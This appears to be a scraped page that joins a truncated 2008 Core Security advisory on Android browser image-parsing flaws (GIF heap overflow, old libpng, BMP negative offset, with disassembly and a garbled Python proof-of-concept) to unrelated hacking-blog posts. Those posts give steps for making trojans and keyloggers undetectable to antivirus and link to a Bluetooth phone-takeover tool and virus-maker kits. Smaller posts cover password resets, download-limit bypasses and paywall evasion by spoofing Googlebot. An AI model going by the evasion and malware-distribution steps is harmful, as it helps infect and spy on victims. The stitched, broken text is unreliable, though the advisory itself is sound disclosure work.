Android is project promoted primarily by Google through the Open Handset
Alliance aimed at providing a complete set of software for mobile
devices: an operating system, middleware and key mobile applications
[1]. Although the project is currently in a development phase and has
not made an official release yet, several vendors of mobile chips have
unveiled prototype phones built using development releases of the
platform at the Mobile World Congress [2]. Development using the Android
platform gained activity early in 2008 as a result of Google's launch of
the Android Development Challenge which includes $10 million USD in
awards [3] for which a Software Development Kit (SDK) was made available
in November 2007.
The Android Software Development Kit includes a fully functional
operating system, a set of core libraries, application development
frameworks, a virtual machine for executing application and a phone
emulator based on the QEMU emulator [4]. Public reports as of February
27th, 2008 state that the Android SDK has been downloaded 750,000 times
since November 2007 [5].

Several vulnerabilities have been found in Android's core libraries for
processing graphic content in some of the most used image formats (PNG,
GIF an BMP). While some of these vulnerabilities stem from the use of
outdated and vulnerable open source image processing libraries other
were introduced by native Android code that use them or that implements
new functionality.

Exploitation of these vulnerabilities to yield complete control of a
phone running the Android platform has been proved possible using the
emulator included in the SDK, which emulates phone running the Android
platform on an ARM microprocessor.

This advisory contains technical descriptions of these security bugs,
including a proof of concept exploit to run arbitrary code, proving the
possibility of running code on Android stack (over an ARM architecture)
via a binary exploit.

*Vulnerable Packages*

. Android SDK m3-rc37a and earlier are vulnerable several bugs in
components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of
this advisory).
. Android SDK m5-rc14 is vulnerable to a security bug in the component
that process BMP images (bug #3).

*Non-vulnerable Packages*

. Android SDK m5-rc15

*Vendor Information, Solutions and Workarounds*

Vendor statement:

"The current version of the Android SDK is an early look release to the
open source community, provided so that developers can begin working
with the platform to inform and shape our development of Android toward
production readiness. The Open Handset Alliance welcomes input from the
security community throughout this process. There will be many changes
and updates to the platform before Android is ready for end users,
including a full security review."

*Credits*

These vulnerabilities were discovered by Alfredo Ortega from Core
Security Technologies, leading his Bugweek 2007 team called "Pampa
Grande". It was researched in depth by Alfredo Ortega.

*Technical Description / Proof of Concept Code*

Android is a software stack for mobile devices that includes an
operating system, middleware and key applications. Android relies on
Linux version 2.6 for core system services such as security, memory
management, process management, network stack, and driver model. The
kernel also acts as an abstraction layer between the hardware and the
rest of the software stack.

The WebKit application framework is included to facilitate development
of web client application functionality. The framework in turn uses
different third-party open source libraries to implement processing of
several image formats.

Android includes a web browser based on the Webkit framework that
contains multiple binary vulnerabilities when processing .GIF, .PNG and
.BMP image files, allowing malicious client-side attacks on the web
browser. A client-side attack could be launched from a malicious web
site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim's Android system.

These client-side binary vulnerabilities were discovered using the
Android SDK that includes an ARM architecture emulator. Binary
vulnerabilities are the most common security bugs in computer software.
Basic bibliography on these vulnerabilities includes a recently updated
handbook about security holes that also describes current
state-of-the-start exploitation techniques for different hardware
platforms and operating systems [6].

The vulnerabilities discovered are summarized below grouped by the type
of image file format that is parsed by the vulnerable component.

#1 - GIF image parsing heap overflow

The Graphics Interchange Format (GIF) is image format dating at least
from 1989 [7]. It was popularized because GIF images can be compressed
using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the
memory footprint and bandwidth required for transmission and storage.

A memory corruption condition happens within the GIF processing library
of the WebKit framework when the function 'GIFImageDecoder::onDecode()'
allocates a heap buffer based on the _Logical Screen Width and Height_
filed of the GIF header (offsets 6 and 8) and then the resulting buffer
is filled in with an amount of data bytes that is calculated based on
the real Width and Height of the GIF image. There is a similar (if not
the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the
open-source version included by Android in
'WebKitLib\WebKit\WebCore\platform\image

-decoders\gif\GifImageDecoder.cp
p'
inside 'webkit-522-android-m3-rc20.tar.gz' available at [8].

Detailed analysis:

When the process 'com.google.android.browser' must handle content with
a GIF file it loads a dynamic library called 'libsgl.so' which contains
the decoders for multiple image file formats.
Decoding of the GIF image is performed correctly by the library giflib
4.0 (compiled inside 'libsgl.so'). However, the wrapper object
'GIFImageDecoder' miscalculates the total size of the image.

First, the Logical Screen Size is read and stored in the following
calling sequence (As giflib is an Open Source MIT-licenced library, the
source was available for analysis):
'GIFImageDecoder::onDecode()->DGifOpen()

->DGifGetScreenDesc()'. The last
function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and
Height_ in a structure called 'GifFileType':

/-----------

Int DGifGetScreenDesc(GifFileType * GifFile) {
...
/* Put the screen descriptor into the file: */
if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR ||
DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR)
return GIF_ERROR;
...
}
- -----------/

We can see that the fields are stored in the first 2 words of the
structure:

/-----------

typedef struct GifFileType {
/* Screen dimensions. */
GifWord SWidth, SHeight,
...
}
- -----------/

In the disassembly of the GIFImageDecoder::onDecode() function provided
below we can see how the DGifOpen() function is called and that the
return value (A GifFileType struct) is stored on the $R5 ARM register:

/-----------

.text:0002F234 BL _DGifOpen
.text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5
- -----------/

Then, the giflib function 'DGifSlurp()' is called and the Image size is
correctly allocated using the Image Width and Height and not the Logical
Screen Size:

/-----------

Int DGifSlurp(GifFileType * GifFile)
{ ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height;
sp->RasterBits = (unsigned char *)malloc(ImageSize *
sizeof(GifPixelType));
...
}
- -----------/

Afterwards the _Logical Screen_ Width and Height are stored in the R9
and R11 registers:

/-----------

.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight !
- -----------/

However the actual image may be much larger that these sizes that are
incorrectly passed to a number of methods of the 'GIFImageDecoder':

/-----------

ImageDecoder::chooseFromOneChoice():
.text:0002F294 MOV R0, R8
.text:0002F298 MOV R1, #3
.text:0002F29C MOV R2, R9
.text:0002F2A0 MOV R3, R11
.text:0002F2A4 STR R12, [SP,#0x48+var_3C]
.text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice;
ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int
,int)

Bitmap::setConfig():
.text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap
.text:0002F2BC MOV R1, #3

.text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight !
.text:0002F2C4 MOV R3, R11
.text:0002F2C8 STR R10, [SP,#0x48+var_48]
.text:0002F2CC BL _Bitmap9setConfig ;
Bitmap::setConfig(SkBitmap::Config,uint,uint,uint)
- -----------/

This function stores the SWidth and SHeight inside the Bitmap object as
shown in the following code snippet:

/-----------

.text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7
.text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8
.text:00035C40 MOV R4, R0 ; $R4 = *Bitmap
- -----------/

And later:

/-----------

.text:00035C58 BL _Bitmap15ComputeRowBytes ;
SkBitmap::ComputeRowBytes(SkBitmap::Config,uint)
.text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes
.text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth
.text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight
.text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes
- -----------/

The following python script generates a GIF file that causes the
overflow. It requires the Python Imaging Library. Once generated the GIF
file, it must be opened in the Android browser to trigger the overflow:

/-----------

##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a

import Image
import struct

#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')
#Shrink the Logical screen dimension
SWidth=1
SHeight=1

img = open(imagename,'rb').read()
img = img[:6]+struct.pack(')+img[10:]

#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close()
- -----------/

This security bug affects Android SDK m3-rc37a and earlier versions.
Version m5-rc14 of the Android SDK includes a fix and is not vulnerable
to this bug.

#2 - PNG image parsing, multiple vulnerabilities:

The Portable Network Graphics (PNG) is a bitmapped image format that
employs lossless data compression [9]. PNG was created to improve upon
and replace the GIF format as an image file format that does not require
a patent license.

The library 'libsgl.so' used by Android's WebKit contains commonly used
code to load graphic files, as libpng, giflib and others. The version
inside libsgl.so distributed with Android SDK m3-rc37a and earlier
versions include the string '"libpng version 1.2.8 - December 3, 2004"'.
Source code inspection of the file
'\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included
in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android
project reveals that '"libpng version 1.2.7 - September
12, 2004"' has been used in this release.

This old version of libpng makes Android SDK m3-rc37a and earlier
versions vulnerable to the following known issues: ' CVE-2006-5793,
CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268,
CVE-2007-5269 '.
Android version m5-rc14 has been updated to include libpng 1.2.24 and is
likely not vulnerable.

#3 - BMP image processing, negative offset integer overflow:

The BMP file format, sometimes called bitmap or DIB file format (for
device-independent bitmap), is an image file format used to store bitmap
digital images, especially on Microsoft Windows and OS/2 operating
systems [10].

The integer overflow is caused when a Windows Bitmap file (.BMP) header
is parsed in the method 'BMP::readFromStream(Stream *,
ImageDecoder::Mode)' inside the 'libsgl.so' library. When the
value of the 'offset' field of the BMP file header is negative and the
Bitmap Information section (DIB header) specifies an image of 8 bits per
pixel (8 bpp) the parser will try to allocate a palette, and will use
the negative offset to calculate the size of the palette.

The following code initializes the palette with the color white
('0x00ffffff') but with a carefully chosen negative offset it can be
made to overwrite any address of the process with that value. Because
the BMP decoder source wasn't released, a disassembly of the binary
included by Android is provided below:

/-----------

.text:0002EE38 MOV LR, R7 ; R7 is the negative offset
.text:0002EE3C MOV R12, R7,LSL#2
.text:0002EE40
.text:0002EE40 loc_2EE40
.text:0002EE40 LDR R3, [R10,#0x10]
.text:0002EE44 ADD LR, LR, #1
.text:0002EE48 MOVL R2, 0xFFFFFFFF
.text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the
same bug) but ranges 0x10000-0x20000
.text:0002EE50 MOV R0, #0
.text:0002EE54 CMP LR, R9
.text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1)
.text:0002EE5C STRB R2, [R1,#2]
.text:0002EE60 STRB R0, [R1,#3]
.text:0002EE64 STRB R2, [R1,#1]
.text:0002EE68 ADD R12, R12, #4
.text:0002EE6C BNE loc_2EE40
- -----------/

Now, if let's take a look at the memory map of the Android browser:

/-----------

# ps
ps
USER PID PPID VSIZE RSS WCHAN PC NAME
root 1 0 248 64 c0084edc 0000ae2c S /init
root 2 0 0 0 c0049168 00000000 S kthreadd
...
root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb
app_0 1574 535 83564 12832 ffffffff afe0c79c S
com.google.android.browser
root 1600 587 840 324 00000000 afe0bfbc R ps
# cat /proc/1574/maps
cat /proc/1574/maps
00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process
0000a000-00c73000 rwxp 0000a000 00:00 0 [heap]
08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted)
...
#
- -----------/

We can see that the heap is located in the range '0000a000-00c73000'
and it is executable. Overwriting this area will allow to redirect
execution flow if there is a virtual table stored in the heap. Later on
the same method we can see that a call to the "Stream" Object VT is made:

/-----------

.text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object
.text:0002EB68 MOV R0, R8
.text:0002EB6C MOV LR, PC
.text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10
- -----------/

2008-03-08T06:19:00.000-08:00

This tutorial tells you how to make a Trojan, Virus, Keylogger, or anything that would be found harmful, NOT. This tutorial explains how to make all files look %100 clean (become clean and be %100 UNDETECTABLE from ALL ANTIVIRUSES!!!!! ALL!!!!!)Ready? GO!

First, get your trojan, virus or keylogger, or server or w/e you plan on using to become undetectable, and get it ready. Fix it up, create it, whatever.

My personal favorite
keylogger: Ardamax Keylogger
Remote Administration Tool (Must not have a router): Poisin Ivy
Google is your friend.

Now that you have your trojan, virus or keylogger or w/e harmful ready, its time to make it UNDETECED!

1. Download Software Passport (Armadillo) by Silicon Realms. This is THE best binder out there I know of, it makes everything %100 UNDETECTABLE BY ALL ANTIVIRUSES (including Norton, Kaspersky, Avast, etc)… The direct link to dl the program is here:
Code:
http://nct.digitalriver.com/fulfill/0161.001

There is a form to fill out information, so put in your real email address, and then you’ll recieve a download link in your email (it might be in Spam, Junk mail section so beware.)

2. Once you download the program, install it.
3. Once installed, you open it up and see this:
Code:
http://img339.imageshack.us/img339/6…assportzh3.jpg

This is the program. Now that you have it open, you might be confused on what the hell to do, right? Well, this is what you do!

1. Download this pre-made settings. These settings are pre-made by me so you won’t be confused. Everything is working.

DOWNLOAD THIS FOR THE PRE-MADE SETTINGS:
Code:
http://rapidshare.com/files/8749860/projects.arm.html

DOWNLOAD THIS FOR THE BACKUP (You need this in the same location as the projects.arm file) YOU NEED THIS FILE ALSO!
Code:
http://rapidshare.com/files/8750048/projects.Stats.html

Now, when you download these files, and you put them in the SAME FOLDER (or same location), open Software Passport again and click Load Existing Project (top left).

Where it says “Files to Protect” (if theres stuff there, delete it):
Add the files you want to make %100 UNDETECTABLE!!

Now, once done, go to the bottom right and click “Build Project”. A bunch of windows will come up, just click Yes and OK.

Now, once its created, they are %100 undetectable. Go to
Code:
virustotal.com
to scan it with every Antivirus, and they wont find ANYTHING!

„It takes a long time to learn simplicity.“

Change XP Passwords

2008-03-08T06:18:00.001-08:00

NOTE: This only works for XP home edition.

If you want to change a password on your computer all you have to do is follow these directions very carefully.

1.) Go to start.
2.) Press “run”
3.) Press “cmd”
4.) After cmd.exe comes up, type “net user” and press enter.
5.) It will show all users on your computer. Pick the user from the list and type “net user (name of person)
(and the new password you want.)”
6.)Enter. It will say “The command completed successfully.”
7.) Test it.

Good Luck!

Beat Rapidshare Download Limits and Waitin Times...!!

2008-03-08T05:59:00.000-08:00

Here are some hints to help you more efficently use rapidshare. Skipping waiting time and bypassing download limits are rapidshare hacks that everybody should know.

From www.Jamzezwebsite.webs.com

Here are some methods for doing this:

1. Short-Out the JavaScript:

FREE

javascript:alert(c=0)

2. Request a new IP address from your ISP server.

Start

run

cmd.exe

ENTER

ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit

5. Erase your cookies in whatever browser you are using.
6. Try the rapidshare download again.

Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

3. Use a proxy with SwitchProxy and Firefox:

Download and install Firefox

Download and install SwitchProxy

Google for free proxies

4. Use an anonymous service:

tor

Anonymizer 2005

5. You can use a bookmarklet to stop your wait times:

Right Click On This Link

Add to Favorites

Yes

Links

Super Bluetooth Hack - Now U All Can Do It..!!

2008-03-08T05:52:00.001-08:00

With this java software you can connect to another mobile and ….

Once connected to a another phone via bluetooth you can:
- read his messages
- read his contacts
- change profile
- play his ringtone even if phone is on silent
- play his songs(in his phone)
- restart the phone
- switch off the phone
- restore factory settings
- change ringing volume
- And here comes the best
Call from his phone” it includes all call functions like hold etc.

Notes:
1.) When connecting devices use a code 0000
2.) At start of programm on smartphones do not forget to turn on bluetooth before start of the mobile .

Download: 111kb

http://rapidshare.com/files/69356389/SBH.v1.07.rar

Mirror1:

http://w13.easy-share.com/14502671.html

Mirror2:

http://www.megaupload.com/?d=R0SEV5PU

Mirror 3:

http://www.mediafire.com/?3wnbowtbmku

Pass: www.dl4all.com

Enable Right Click On Webs Dat Disabled It..!!

2008-03-08T05:51:00.001-08:00

Lots of web sites have disabled the right click function of the mouse button… it’s really, really annoying.
This is done so that you don’t steal (via right-click->save picture) their photos or images or any other goodies.
Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.
It’s easy to change, assuming your using IE 6:
Click “Tools”->”Internet Options” Click the “Security” tab Click “Custom Level” Scroll down to the “Scripting” section Set “Active Scripting” to “disable” Click “Ok” a couple of times. You’ll probably want to turn this back to “enable” when your done… ’cause generally the javascript enhances a website

Secret Backdoor To Many Websites

2008-03-08T05:49:00.000-08:00

Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first….
The lesson you should have learned here is: Obviously Google can go where you can’t.Can we solve this problem? Yes, we can.
We merely have to convince the site we want to enter, that WE ARE GOOGLE. In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.How then, can you disguise yourself as a Googlebot? Quite simple:
by changing your browser’s User Agent.
Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.

*********************************************

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Internet Settings\5.0\User Agent]
@=”Googlebot/2.1″
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Internet Settings\5.0\User Agent]
@=”Googlebot/2.1″
“Compatible”=”+http://www.googlebot.com/bot.html

***************************************************

Please Remove The Spaces Between CurrenVersion\ Internet Settings

“Voila! You’re done!You may always change it back again….
I know only one site that uses you User Agent to establish your eligability to use its services, and that’s the Windows Update site…
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:

******************************************

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Hardcore Virus Makers

2008-03-07T22:41:00.000-08:00

Download: http://www.megaupload.com/?d=6YPTOAXR

Mirror:   http://rapidshare.com/files/29541835/TeraBIT_VM_2.8.zip.html

Code: Select all: http://jeyjey.persiangig.com/Download/JPSVM3.zip

Code: Select all: http://www.megaupload.com/?d=Y356K5W7

How To Get Virus Off
You may have thought it was funny at first but that virus that you opened that was supposed to be a joke doesnt go away very easily. If you restart your computer it will start again. Heres what you do.

1. Go into processes and end the process csmm.exe
2. Go to the toolbar and click start.
3. My computer
4. C:
5. Windows
6. System 32
Now once your in system 32 there will be A LOT of files. Go to the one that says csmm and delete it. Then you can restart your computer and the virus wont start again